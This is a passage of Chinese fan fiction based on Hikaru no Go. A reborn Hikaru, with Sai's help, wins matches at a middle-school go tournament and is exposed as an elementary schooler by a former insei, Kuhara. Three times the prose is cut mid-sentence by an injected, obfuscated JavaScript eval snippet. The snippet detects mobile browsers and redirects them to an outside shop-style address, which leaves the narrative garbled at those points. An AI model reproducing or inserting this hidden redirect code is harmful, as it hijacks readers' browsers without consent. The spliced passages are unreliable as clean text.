“冷静一点!我本来也没说过他是选手嘛!是你自己那样想象的!你也说过了啊,塔矢亮是职业等级的棋手,怎么可能对中学围棋联赛感兴趣!” “敢情被你算计得明明白白是吧?”加贺被筒井拦腰抱住困在原地,脑门上已经多了个大大的井字格,“有种比赛结束了别跑——!” 可是,加贺顿时更不理解了,如果是作为选手出席还算塔矢亮为了海王名誉被迫参赛的话,那不是选手还要硬来,是为了什么?总不是来当评委的吧?!难道真的只是想看进藤光下棋? 这小鬼到底是何方神圣? “请各位选手回到对局区域,比赛马上开始。” 关键时刻,喇叭传来的通讯却阻止了加贺的追问。他只能暂且放过光,两腿生风地噌噌走去前面的课桌旁。光和筒井也马上跟了过去。 “一回战开始。” 没有选手宣誓之类的仪式,也没有领导讲话一类的过程,只由一个语调始终平淡的主持人简简单单地拉开序幕,其实光很喜欢这种做法。后来他参加国际大赛时常常被迫参加时长令人难以置信的开幕式,赞助商必派出发言人在讲台上长篇大论,真是让人头疼,犯困都不敢倒头就睡。 看来小比赛也有小比赛的好处啊…… 依照主持人的指示,进藤光他们便在椅子上坐下。长桌上摆着三个棋盘,是从两旁下子的比赛形式。 “小心不要露出马脚哦!” 加贺拍拍进藤光的头。 “放心啦……” 进藤光把手挥开,回答道。他把过长的袖子卷高,不但要注意隐藏小学生的身份,又要提防被邻居的高田哥哥看穿,实在是很辛苦。不过今天他特意给头发加了一点定型水,做成没有刘海的样子,不是超级熟悉他的人应该一瞬间认不出来吧。 如光所见,叶濑中学的对手是川荻中学。主持人对了一下自己的手表,接着便宣布比赛开始。然后四周立刻传来从棋盒中取出棋子的声音。 估量对手的视线,以及为了冷静下来而深呼吸的声音,一种特殊的紧张感在四周弥漫开来。 加贺从学生制服内侧口袋取出一把扇子。他大声地打开扇子,上面用毛笔写了两个大字—— 王将。 “……” 对面的副将莫名其妙地看着他,内心吐槽了一大段”这不是个下将棋的吗,怎么居然混到围棋比赛里来了,而且还是个副将,想当年我辛辛苦苦废寝忘食夜以继日地练棋,如今也不过是个随时可能被挤下去的副将,像这样不严肃的小子到底是怎么走了狗屎运坐到我面前的啊?没有错!一定是因为他们学校太渣了,连个像样的棋队都组建不起来,所以才被逼无奈喊了他这个半吊子的白痴来充当副将的吧?这么说来,三将岂不是弱到难以想象?这真是天上掉下来的馅饼啊!这样一来我们岂不是赢定了!比赛的奖金一定可以好好搓一顿”之类。 加贺好像都能够看见他的口水了,嫌弃地将身子往后挪了挪。 另一边,坐在进藤光对面的男生没有忍住质疑的欲望。 “你就是主将?” 明明对方就坐在自己前面,应该马上就知道,不过他还故意这么问。他推了推看起来像资优生会戴的金属眼镜镜框。 “是。”进藤光不想和小孩子计较。 “个子真矮啊,发育迟钝也能下棋吗。还有,难道他是将棋部的?为什么将棋部的人会跑来这里?” 资优生的目光瞟向了旁边的加贺。然后他又看着加贺旁边的筒井,和另外两人不约而同噗哧笑了出来。 “社员不够是吗?连比赛需要的三个人都凑不到?要不我们干脆改下将棋吧。” 将棋社的加贺,公子哥似的筒井,还有像小孩子一样的光。三个人看起来完全没有共同点,就算被看成是凑数的组合,也没办法。因为事实便是如此,没什么好说的。 不过…… “是啊,只是你们很快就会被我们这个凑数的组合打败了。你得庆幸下的是围棋,要是将棋的话,我们副将最多只能让你撑五分钟。” 进藤光突然玩心大起,很想替加贺嚣张一回。加贺见自己台词被抢,也不生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211753|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,反而更嚣张地摇起了扇子。 “没错!换成围棋的话,你也就顶多撑十分钟吧。” “你!” 看着对方泛青的脸色,光心里畅快极了。这就是不好好对待围棋、在棋盘上轻视对手的惩罚!好吧,他并不是故意要捉弄小朋友的,只不过人生重来一次,偶尔想做点善事积积德罢了。 “哼,死到临头还大言不惭……”资优生不屑一顾地昂起头,似乎是觉得光纯属吹牛吹上天的类型,不需要在意。 “少废话,快猜子吧!”加贺也用不输给对方的傲慢口气催促着。 对方主将一副还想再讲的样子,不过因为其他队友催促着叫他快开始,所以他只好抓了一把棋子。他总共抓了九个白棋。而光放在棋盘上的则是两个。光没有猜对,所以执白子后下。另外,副将加贺执黑子,三将筒井则同样执白子。 作为棋士,进藤光有自己的对弈原则,这一点是不会改变的。 所以不管对方多么的无礼,他都不会忘了礼貌,而是十分认真地说:“请多多指教。” 对方只能不情不愿地跟了句:“请多指教。” “筒井,你在干嘛啊——?” 光这边的对局才刚刚开始,身边的加贺突然站了起来大声咆哮。 不过筒井只是愣了一下。他的左手正拿着一本书。封面上印着《定石的下法》。 “你白痴啊?竟然边看书边下棋?” 加贺激动地冲上前去。再看清楚一点,那还是什么《聪明地下围棋系列》的其中一本的样子,甚至算不上严格意义上的围棋教科书。现在都已经在正式对奕了,看这种东西怎么可能让人变高明啊! 这熟悉的乌龙场面让进藤光满头黑线。果然还是老样子。 “这又没有违反规则……”筒井认真地反驳道。 比赛时间确实是可以让选手自由运用,所以就算打开诘棋问题集还是定石指导本,都不会丧失资格。 “你就是看书下棋,棋力才会那么烂!”看到筒井一脸理所当然的样子,加贺更咬牙切齿道,“要是对手改变下法,书根本派不上用场,难道你不懂吗?” “我当然懂,可是我不看书就会怕嘛……” 这下可好,其他选手也一起盯着筒井和加贺。 他们成为了赛场上格格不入的中心。 进藤光只能尽量保持平静的表情不笑出来,清了清嗓子对筒井说:“咳咳,嗯,加贺前辈说得一点没错,筒井前辈你就乖乖扔掉那本破书吧!” “可是……” “再吸引他们注意我可就要穿帮了!” 进藤光没等他回答,便喜气洋洋地夺走了筒井手中的定式书、垫在自己屁股底下,这样还能让他显得高一点,筒井泪眼汪汪地看着自己最后的救命稻草离自己越来越远,却被一脸”做得好!”的表情的加贺按住肩膀,呆在原位不能动弹。 “进藤君……不要啊!” 他的眼神充满了绝望。就是那种快要溺水的人手上唯一一块木板也被人抢走了的绝望感。进藤光觉得十分好笑。不过他还是没有嘲笑筒井。 对自己的实力毫无自信的筒井,却积极地筹划着参赛事宜,单单是这一点,就已经让光很是佩服了。 “那边请安静。” 被工作人员斥责的筒井只能条件反射性地闭了嘴。川荻中学的选手看到叶濑中学的代表出这种状况,都笑个不停。 “筒井前辈,你一定没问题的!我们这一轮可是要3:0全胜呢!” 进藤光扔下这句话之后,便转向了自己面前的棋盘。 筒井愣愣地看着他,仿佛还没回过神来,到底还是咬牙抓起了棋子。 他只能硬着头皮上了!好不容易被自己拖来的两个人都那么厉害,作为策划者的自己怎么能随随便便败在这里! ●○●○ 23. Chapter 22. 意料之外的对手 赛场上的气氛从来都是紧张而压抑的,身经百战之后,作为棋士自己的进藤光却逐渐脱离了那样的感觉。怎么说呢,就像现在的紧张和压抑也是来之不易的幸运一样,他一直谨慎、忐忑地对待着每一局棋,然后常常会迷失在棋局里,忘却了自己身在何处。 自己屡战屡败的原因,会不会就是缺乏了这份紧张感? “呜哇,不行,不能发抖……” 看着在一旁满头大汗也要努力下棋的筒井,光有点好笑。 倒要谢谢筒井了,多亏他紧张得要死,才让进藤光也受到了感染、找回了这份“参加比赛”的真实感。 沉下心来后,进藤光脸上就写满了生人勿近的肃穆,眼神中唯有黑白二色的世界,停留在这样的世界里的他,恍惚地产生了时间还停留在过去那段最美好时光的错觉。 虽然只是一瞬间,他却能够清晰地察觉到与上辈子相同的喜悦——那份与同伴一起拿起棋子、并肩作战的喜悦。 那是他一度忘记过的东西。 “小光,十四之九,粘。” 身后的佐为只是全神贯注地盯着棋盘,并没有注意到光的愣神。 听见佐为的指示,光这才伸出手去,“咔哒”一声迅速落子。 对手与自己的实力差距太大,这样的棋他下着反而有点累,累的是不能赶尽杀绝、还要一步步引导对方按照合理的棋路去延续这一局,还好做决策的是佐为。前世的他下指导棋时也经常烦躁,如今看来,还是经验丰富的佐为更擅长与后辈教授对弈的诀窍啊。 是因为年龄的关系么?这样总是温柔和蔼的佐为,让人觉得有些太富有神性了。 这样不会很辛苦么? “啧。”坐在对面的资优生看着光不假思索而干净利落的迂回攻击方式,突然神色轻松了下来,暗道,“面上处事不惊,其实也没多深的心思嘛,看起来我遇到了一个草包对手……尽快结束这一局吧。” 殊不知,这样的和平只持续了不到3分钟。 双方越下越快。 差不多都到了快棋的速度。 “佐为,他的实力也不算很坏嘛。基本的判断还是对的。”进藤光托着下巴似乎在沉思,“虽然比起加贺要弱了许多,但是比当年的我厉害不少呢……” 佐为执扇的手滞在半空。 “当年的小光?” 光意识到自己说错了话,回神一想,解释成小时候学棋也能说得通,心里才不再打鼓。 “我刚开始学棋那会儿,根本什么策略都没有就喜欢吃子!下了好多的臭棋啊,哈哈。” 笑着笑着,他的脑海中浮现出佐为的影子。那时的佐为一心想要下棋,光任性地坚持要自己下,偏偏实力不济老爱犯各种各样的低级错误,在一旁观战的佐为常常一头黑线还必须拼命地忍住不说出口,那样子倒是挺滑稽的。 “初学者都有一个循序渐进的过程啊,就算是我,最初接触围棋的时候又何尝不是如此呢?” 佐为温和的笑容像烛光一般闪耀着迷人的色彩。 他还是那么善解人意。 “倒也是哦。”光只能回以微笑。 两人闲聊之际,资优生也发现了棋局隐隐的不对劲,刚要落下的右手又猛地收回,气息也不再平静。 这……是陷阱吗?怎么会,难道从一开始这小子就在筹谋…… 他看着不像那种有城府的人啊。 资优生紧紧皱起眉头,望向光的眼神变得犀利异常,光反而像个没事人一样微笑地看着他,让他心里发毛。 “不,不可能,如果真是有那么可怕的实力,怎么会故意让盘面呈五五开的局势……一定只是偶然,看我怎样击破你的阴谋!” 想到这里,他不再徘徊,将棋子探进白子腹地之内。 佐为的眼神一闪,随即叹息般地低下头:“……接下来,退。” 进藤光知道资优生没能找到破解困境的方法,有些替他惋惜,只能如佐为所言放下棋子。 至此,大局已定。 “嗯?” 对局继续进行的同时,从他们旁边走来一个观战者,正是刚刚与光搭话的佐和良中少年。 这位佐和良中学的围棋社宣传组长名叫久原木子郎,小时候在父母的逼迫下参加了围棋班,一度考上院生,后来由于长期无精进,只得遗憾退出职业考试的行列,改行写围棋科普文章,对棋坛各种八卦非常熟悉。至于棋力,他在佐和良中学国中二年级的围棋爱好者中显然鹤立鸡群。不知为何,这次比赛他没有作为选手参赛。或许是想把机会留给仍然愿意下棋的人吧。 他对自己的定位异常清晰:没有下棋的才能,但有看棋的才能。 虽然本人下不出精妙绝伦的棋路,但他最擅长的就是观看别人的对局,从中分析出他们各自的行为模式和棋风。 只花了不到5秒观察盘面,久原就发觉了资优生明显的劣势。 叶濑中的主将牢牢掌握着全盘的控制权。滴水不漏。看似是双方势均力敌,实则叶濑主将高高在上,两个人差的水平根本不是一点半点。 “想不到这个小个子的家伙看着不起眼,实力却这样可怕……” 久原再一次将目光投向了金色刘海的进藤光。 话说回来,“进藤”这个名字,他确实有点印象…… 是在哪里听说过来着?嗯……该死,明明就是这几天的事……答案都呼之欲出了! 就在他思索的间歇,苦战中的资优生已经支撑不住,面色铁青地垂下头,从进藤光的角度几乎看不见他的脸。 “我……输了。” 他无奈而不甘的轻声认输,宣告了这局棋的结束。 太快了。就算每一步都尽力跟上对手的节奏,也跟不到中盘。那么至少不要让同伴们看到太惨烈的点目画面,这是他最后的倔强。 佐为心满意足地点点头:“多谢指教。” 只要能下棋,他就已经足够快乐了,对手全力以赴的模样让他觉得每一局都充满趣味,他享受棋盘间的一切,在海王中学见到这么多热爱围棋的少年让他欣喜异常。 落败者就完全笑不出来了。面前的棋盘在视线中慢慢模糊,资优生愤愤地咬紧牙关不想让眼泪流出来,他明白这一局里双方棋力所表现出的差异有多么可怕。他会惨败的原因绝不单纯是轻敌,即使事先就用最严肃的态度去下,也不可能赢。 竟然会被一个小孩子甩这么远…… 他不甘心! 为什么一开始没有更加谨慎地对待这局棋呢?被他们看似凑数的外表欺骗,心情也浮躁了起来吗…… 他的指导老师一直在旁边观战,心下对光的实力也有了大致的鉴定,和蔼地拍拍资优生的肩膀:“没事,不是你的错,只是对方的主将太强了。” 进藤光看着资优生一言不发地起身离席,不知怎的竟有些落寞。 “佐为,我们这样做是不是有点……太欺负人了?” 佐为想了想,却微笑着回答:“不,他下得很好,否则我们根本不可能走到这一步。” 也是,现在的进藤光看得出来,佐为刻意引导对方下出的盘面,是多么的整洁有序,步步透露着围棋历史的积淀。这一局就算单拿出去给别的初学者讲课,也是再合适不过的一局。 希望对方也能感受到吧,这种成功下完美丽的一局的喜悦。 这时坐在中间的加贺“唰”地打开扇子,往椅背上一靠:“轻松获胜!正好十分钟!” 轻松获胜?! 离席到一半的资优生满脸震撼。原来是副将战的棋局也结束了,对方完全不是加贺的对手,真就像开场前放狠话说的那样,这才坚持了区区十分钟。在围棋的世界里,十分钟算是相当短暂的时间了,意味着布局阶段双方就拉开了差距。 这回,川荻中学的指导老师怎么也不敢说“是对方的副将太强”这样的话了,主将副将战都在这么快的时间里一败涂地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211754|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他恨不得找条地缝钻进去。 这只能说明是他们实力真的不行而已。 “干得好啊,加贺前辈!”进藤光对加贺笑道。 “好说!”加贺嚣张地扇着风,一副神清气爽的样子,“你小子也不赖嘛。以后跟我学将棋吧?这种速战速决的风格,下将棋肯定也是好手!” “我才不要,还是围棋好玩多了。” “别这么说嘛!我可是在挖角你啊!” 两人的胜利已经决定了叶濑中的出线,现在场上唯一在战的筒井压力也小了很多。此时,筒井的对手自然咬牙切齿心情烦躁,进而被筒井用最简单的骗术坑得不轻,随后在点目中遗憾落败7目半。 “不可能!” “我、居然……赢了……?”筒井吓得眼镜都戴不稳了。 序盘与中盘的时候,筒井因为顾虑过多导致攻势不足,所以容易出错。然后定石的书又不在身边,让他感到很不安,再加上顾忌过多的软弱个性,这些或许都是他下棋时的缺点,不过只要到了需要精密计算的终盘之后,便不太容易出错了。 川荻中学的三将不由得发出呻吟。明明在中盘之前,他都一直占有优势。虽然终盘时慢慢被追上,但他本来还有维持下去的自信,可是己方主将副将的惨败实在让他有些精神恍惚,官子居然下成了这个鬼样子! “可恶!” “哼哼。三胜的好开头,这股气势一定要继续下去啊!是吧,筒井前辈?”光连忙拍拍筒井的后背。 虽然嘴里一直前辈前辈地叫着,但进藤光的身上却不停地涌出令人炫目的光芒,仿佛他才是三人中最核心的部分。 面对这样耀眼的光,筒井一时看呆了,忽然被光叫到名字有点反应不过来:“啊……是啊,我也赢了呢,真是危险啊,刚刚差一点就追不上了……” “我不是说了嘛,我们会3:0获胜的!” 如光所言,叶濑中学赛程图的线往前延伸,不一会儿就知道下场的比赛对手是佐和良中学。 这下,对光十分在意的黑发少年久原木子郎也站在了对弈场地旁边。 他还是很想知道这个进藤光会下出什么棋。 光硬着头皮忽略了来自小记者的好奇视线,盘算着这一轮的策略。第二回比赛难度明显上升了,光记得佐和良中学的总体实力并不算差,上辈子如果不是因为佐为,叶濑中学无论如何也赢不了佐和良,因为只有加贺一人的实力能与他们并肩。 要不要再推一把筒井呢…… “阿部老师。”这时,久原忽然拦住了即将在桌前坐下的主将,对身后的西装男人开口道,“可以和你商量一下吗。” 从那双浓密的长睫毛之下透露出的严肃,让原本胜券在握的西装男人神色一凛。 两人不知交换了些什么意见,只见佐和良中的主将脸色大变,和他们争论了起来。也许是刚才叶濑中的大获全胜太过招摇、引起防备了吧。 进藤光无奈地揉揉太阳穴:“佐为,这次下手轻点儿,我可不想随便引起别人的注意。” “我已经很轻啦。” “那就再轻一点!” 筒井和加贺也感受到了来自各处的目光。由于第一局赢得太轰轰烈烈,几乎整个赛场上的人都知道了叶濑中学有个极其厉害的副将和一个更加可怕的主将,万一进藤光的身份被戳穿就得不偿失了——至少在进入决赛轮之前,他们还是想尽量保持低调的。 不过,事与愿违的是,光还没来得及走他计划的低调路线,就发生了一件和记忆中完全不同的事情。 对局序幕的播报声出现时,在他对面拉开椅子坐下的,并不是刚才的佐和良中主将。 而是自称“宣传部长”的久原木子郎。 “咦?”光傻眼了。 “不好意思,佐和良中向裁判席申请了选手变更。”黑发少年的脸上不再有笑意,而是格外认真地看着光,“由我担任新的主将。” ●○●○ 24. Chapter 23. 重新燃起的激情 他说……新的主将? 两人视线相交的瞬间,光浑身都起了鸡皮疙瘩。 光丝毫不掩盖眼中的震惊。一看这个睫毛精一声不吭强硬落座的气势,他就知道情况不妙。筒井和加贺不理解为何光会如此惊愕,那是因为他们不知道这是光的第二次人生—— 眼前发生了与上辈子迥然不同的事件!这叫他如何冷静得下来? 早上他的直觉是正确的,这家伙是真的对自己抱持着某种奇怪的执念。 “选手变更?”加贺眯起眼睛看着对面的佐和良中围棋部成员,被换下去的主将明显是一副不开心的表情,现在他只能坐在副将位置,负责压制实力优秀的加贺,而原本的副将则被派去对付筒井,“他不是个记者吗?弃车保帅?” 在加贺看来,佐和良只是采取了让最弱的人当主将、力保副将三将胜利的战略而已。 只有光知道事情不会这么简单。 刚才久原为了坐上主将席,都和佐和良中的老主将吵了起来,连指导老师也神色阴沉,那根本不是弃车保帅该有的争吵激烈程度。实力最强的人就是主将,这是团体赛一贯的规则,就算真要弃车保帅,也肯定会在赛前完成位置交换,不可能等到刚才。 有过相似经历的光很清楚,在大赛进行中临时要求更换主将是多么冒险、而置其他人心情不顾的自私请求。 “……” 这个人究竟有何目的? “请主将猜子。”注意到他的迟钝,裁判不由得清了清嗓子。 光只好在一阵犹疑中将手指伸进了棋罐。这一轮他和筒井执黑先行。 “请多指教。” “请多指教。” 到了第二轮比赛,积累了胜果的筒井和加贺都比刚才自然了不少。只有光觉得拿起棋子的手指更僵硬了。 他不是怕这个新主将,讲道理以他职业七段的水平,在中学比赛就算闭着眼睛也能横行无阻,但是,为什么久原会主动提出换人?这才是最关键的问题。 答案在棋局开始之后立刻得到了解答。 这个人的眼神,都和方才那些普通的中学生不一样。 不论是捏棋子的手势,还是敲打计时器的动作,都干脆利落得像一台机器。而且自始至终,久原那双藏在浓密睫毛后的眼睛,都从同一个高度看着这边的进藤光。 如果不是对棋局有足够的笃定,正常人肯定都在看棋盘的,谁会盯着对手看啊? 可他却完全相反。久原对进藤光的关注明显比棋局本身要高。 话虽如此,他下出来的棋可是一点都没受影响。 从第12手开始,对方的棋风就充分彰显出犀利的质感来。 “哒。” 一道闪电击中了光的脖子。 好强!和上一局四处都是破绽的中学生完全不同,这家伙的思路非常清晰,也几乎不犯错,每一手都有极为明确的目标。和普通业余棋手的差距相当明显。 一开始佐为还在按照和上一局主将相近的棋力评估去下,居然被对方牵制了许多手。 意思就是,这家伙不用看棋盘也能不假思索地推进棋局。 以一种完全成熟的方式。 “佐为,他的实力……”光皱了皱眉。 “啊,我知道。”佐为隐藏在扇子后的脸庞露出了笑意,“他无论如何也想亲自坐在你对面的心情,确实是有理由的。” 那是接受过系统训练和大量对局才会出现的下法。 这家伙,一定下过很久很久的围棋。 至少也是院生中游的水平。 “可是为什么他这样的人要在宣传部?”光十分纳闷地看向对方脖子上挂的那台相机,那也不是装饰品,之前光就看到他举着相机穿梭在场内场外,拍照的热情并非虚假,“他的棋力,就算和海王的主将岸本前辈相比,也并不逊色啊。” 棋局继续推进。从这个时点开始,佐为才采取了更激进的战法。他想看看这个少年能跟随自己到何时。 结果出乎意料。 虽然有许多地方的应手欠缺灵活性,但在四处解答佐为出的“考题”时,久原都能略加思索、就给出85分左右的解答。棋手一般分为模板型和灵活型,模板型擅长各自套路、融会贯通得多了自然质变;灵活型则从一开始就不记任何套路,自然而然地随机应变。而这个久原,不属于任何一种。 85分的解答意味着良好。套模板套不到这个程度,灵活型又不会如此稳定。 看得出来他对围棋有一些自己的想法。是个热爱钻研的家伙。 但是,确实在许多需要妙手的地方,陷入了窠臼。 这两种思路一旦打架,就容易自相矛盾。表现在棋盘上就是四处险象环生,哪里的好处都想占,眼观四路耳听八方,像个不懂认输的八爪鱼。 遇上这种老练的对手,佐为不自觉就用出了对待塔矢亮的水准去对待他,因为很难预料某个地方他就会突然杀出什么奇怪的招数。 一子接一子,每一颗都落在极近的地方,称得上完全连起来的棋子屈指可数。 这意味着每个人下每一步都要同时估算其他无数处尚待观察的断点,十分耗费精力。 一旦算错,就会全面崩盘。 好一场酣畅淋漓的战斗! 太久没遇到过了,这种大脑的每一个细胞都被调动起来的感觉……久原越来越觉得手指在发烫,也不知道发热的是自己还是棋子本身。他第一次能把自己的想法发挥到极致,一定是因为这个对手能接住他的所有招式吧。 围棋都是你来我往,就算其中一方很厉害,另一方要是完全不理会,也下不出好棋。 无法呼吸的激烈搏杀一直持续到最后一秒。 久原的目光也终于从盯着进藤光渐渐变成了盯着棋盘。那种游刃有余,在佐为面前谁都维持不了太久,能下到现在,他已经感到心满意足了。 想到这里,他突然抬起头,爆发出一声响亮的大笑: “哈哈哈哈哈哈哈——” “吓?小光!他在狂笑诶!” 佐为大惊失色。明明是在被步步紧逼,这个睫毛精怎么还越来越开心了?这让佐为和光都有点担心他的精神状态。 过了许久,好像都快笑到缺氧了,久原才停下溢出场外的笑声。 “……真的是你啊,进藤光。没想到居然能在这种地方遇到你。” 他毫不犹豫地说出了光的全名! 这还能怎么办,光只能装傻:“诶?你知道我?” “就是那个被塔矢名人推荐去当院生的小学生,对吧。” “什么!” 众人震惊。 这话一出,光就很难继续装傻了。下棋的人谁不知道塔矢行洋,一旦和塔矢行洋有关系,这个小孩就不可能是平庸之辈,而且塔矢行洋还推荐他去当院生?意思就是他是职业棋手预备役?更何况,久原的话里还夹带着一句重要信息—— 小学生?他居然还是个小学生?! 难怪这身制服看着如此巨大! 光的头颅摇动得像一只拨浪鼓:“不、不是!你一定是记错人了!首先我不是小学生,其次我也不认识什么塔矢名人……” 好巧不巧,这笑声引来了隔壁路人的围观。动静闹得太大了,站在海王观战席那边的高田也瞬间认出了发型古怪、但脸型未变的进藤光。 “啊!这不是进藤家的小光吗?你怎么会在这里?你不是才小学六年级吗?” 听见这熟悉的声音,光拼命把头缩回衣领里,妄图学习企鹅遮掩自己的存在。加贺浑身一僵,“呵呵呵”地笑着回头恶狠狠地剜了那个说话的海王学生一眼,就连四周观局者的视线也一起投向出声的那个学生。 怎么会这么快就被发现了?果然是太出风头的报应吗…… 进藤光欲哭无泪地保持着原来的姿势,深深地叹了一口气。 准决赛时海王和叶濑离得很近,被发现倒也不是不可能,但是佐为不乐意了,他还想好好下完第二局呢! “被发现了啊,小光!怎么办!!”佐为比进藤光本人还要着急。 “就算你不说我也知道… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211755|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”光一头黑线。 也许只有几秒钟,或许过了几分钟。等到回神时,光已经被大会负责人叫去问起话来。 “进藤君是吧?你到底是不是叶濑中学的学生?” 大叔很严肃地把他带到门外,大概是觉得这展开太离谱了,他的说教比起严厉、更多的是不可思议。 “对不起……”光无计可施,只能装可怜卖两滴眼泪了。 “黑崎先生!请不要追究进藤的责任。刚才是我不对,过错都算在我头上。”站在光旁边主动来说情的人,则是不小心揭穿了他的久原,“棋局还在进行,我不该突然大笑打断对弈的。” 负责人看穿他的小心思,毫不留情地一眼瞪了回去。 “就算你这么说,叶濑中也不可以参加后面的决赛了。你们到底在想什么啊。” “怎么这样——” 大叔走后,久原才直起鞠躬道歉的腰,小声对光解释起来: “抱歉,刚才我不是故意的,只是太吃惊了,没想到能亲眼见到本人。听说你赢了塔矢亮?还和绪方老师下过互先棋?是下周就要去棋院报道吗?为什么还要来参加业余比赛呢?为了留下最后一点青春的回忆吗?” 这语速!快得跟子弹一样! 光连忙后退数米。“你问题太多了!慢一点!再说为什么你这个外人会知道这么多内情啊?很恐怖诶!” 这人该不会是什么新型私生饭吧? 久原闻言,一点也不觉得羞愧,反而还很引以为荣。 “嘿嘿,我可是围棋界的笔杆子,从桑原本因坊的十八个弟子、到绪方老师的十八个情人,谁的八卦我都一清二楚。”他掏出口袋里的迷你笔记本和一支钢笔,飞速在上面写了些什么,继续说,“以前我也在院生呆过,认识几个朋友,是他们向我透露了你的情报,你在院生里已经是未见其人先闻其声的大名人了。” “他们又是怎么知道的?!” “院生们对未来的敌手都是有预期的喔。毕竟你加入进来,就意味着今年职业考试的合格名额又减少了一个。” 久原看似轻描淡写地讲述了残酷的现实,但他的口吻还是很轻松。 “12岁就能和塔矢名人下让先棋、只输3目的天才新星——人们都是这样谈论你的。不过,知道这些的也只是我们小圈子里的人而已。我很看好你哦,进藤,照这样下去不出三年,你应该能刷新国内赛事冠军的最年轻记录吧。” 他对进藤光的实力给出了过高的评价。在刚才的对局里,他完全确认这个金色刘海的小学生拥有职业级别的能力,至于上限,他不清楚,但敏锐的棋感让他笃定进藤未来必定不会泯然众人。 前面已经说过了,他不擅长下棋,但很擅长看棋。 阅读别的棋手的棋力,他很有自信。 面对如此坦诚的久原,进藤光忍不住吐出了内心的疑惑:“刚才我就想问了,你的棋力……” “啊?哦,下得很烂吧?和塔矢相比简直不堪一击。” “不会,我觉得那是一盘好棋。你居然放弃了院生吗?太可惜了。” 久原没想到的是,进藤光也对他给予了很高的评价。 可惜吗?久原对自己摇摇头,不,他已经想清楚了,才会以记者的身份出现在围棋部里,把看棋当做唯一的爱好。面对进藤光的恭维,他也只当做对面是在客套。 不过,他很感谢光。 刚才的那一局,是自从他退出院生后,下的第一局棋。 与上次相距一年零三个月了。 他对光挤出一个笑容:“一点也不可惜……说实话,要不是为了确认你是否就是传闻里的天才进藤,我也不可能坐在棋盘前。是你点燃了我仅剩的激情,和你对弈让我兴奋不已,甚至比在棋院的时候下得还要投入,我很开心。不过,我不会继续下棋了。” “为什么?” “我不是职业的料。” 这语气的里的平静,与决绝无异。 光一下子就想起了重生前的自己。认命的平庸的自己 ●○●○ 25.Chapter 24. 胜利者,败北者 他试图改变久原的想法:“可是,就算放弃了院生,你也可以像海王中学那个主将一样继续在围棋部下棋呀,为什么你要等到发现我才决定参赛?” 久原被他弄笑了。 “你在意的点很奇怪,进藤。我还以为像你这么夸张的天才只会向前看呢。就像……塔矢亮一样。” 又是塔矢亮。 这个世界有潜力的年轻棋手是不是都因为塔矢亮放弃了围棋啊,所以后来日本棋坛才会那么青黄不接。有一刻光忍不住这样想。 这个久原木子郎,八成也是“人形核武器”塔矢亮不经意间摧残过的幼苗之一吧。 “久原你今年几岁?” 这突如其来的怪问题让久原不知该露出怎样的表情。为什么是比自己小的小学生问这种问题?身为前辈他有必要回答吗?想归想,他还是老老实实地说: “十三。” “那完全还可能追上塔矢嘛。” ——因为我就是在这个年龄开始对塔矢亮奋起直追的,那时的我棋力还不如你呢。光说这话其实很有依据。不过这个依据也不能告诉其他人。 久原再一次露出了微妙的表情。 “我?追上塔矢?你这是哪里来的自信……” “我当然有自信!既然你看到我下的棋,会克制不住想亲自和我下一局的冲动,就说明你还喜欢围棋、喜欢得不得了!”光决定直截了当地把自己的感受如实相告,“我不知道你为什么放弃,也不想劝你重新回去当院生,每个人都有自己的选择,但我觉得和你下棋很有意思,要是以后不能在职业的世界见到你,会有点可惜。我所在意的就是这个而已。” “……” 久原被他越说越皱眉。 见他还是不为所动,光只能献出最后的杀招。 “你提到的‘那个’塔矢,今天也来了哦。想看看他现在的水平吗。” “你说什么?!”这个关键词果然足以调动所有爱下棋的人的注意力,久原也不例外,他一听到塔矢亮的名字,眼睛都亮得像铜铃,“所以,塔矢亮把你当成唯一的竞争对手的传闻,也是真的吗?进藤!你们究竟是什么关系?” 怎么关键点在这里啊?! 光还没来得及对这则八卦做出回复,就听到身后又是那严肃的呵斥声。 “——你们两个!怎么还在闲聊?知不知道事情的严重性?快回来向对手道歉!” “对不起!!” 正当他俩一前一后回到比赛场地的时候,隔壁校长室内,塔矢亮婉拒了校长希望他加入海王中学围棋社的建议。既然如此,校长也只能先退让一步,毕竟来日方长,以后说服塔矢亮帮忙也并非天方夜谭。 “那就不勉强你了。我们先出去吧。” “是。”塔矢亮稍稍露出放心的样子,又主动提问道,“对了,听说贵校今天正好在举办国中围棋大赛……不知道我能否前去参观?” 校长反而露出了讶异的表情,他这天安排塔矢亮前来确实有让他去赛场逛一圈的意思,没想到倒是对方抢先一步提出来。看来他还是很关心海王围棋社的发展的嘛……那为什么要拒绝呢? 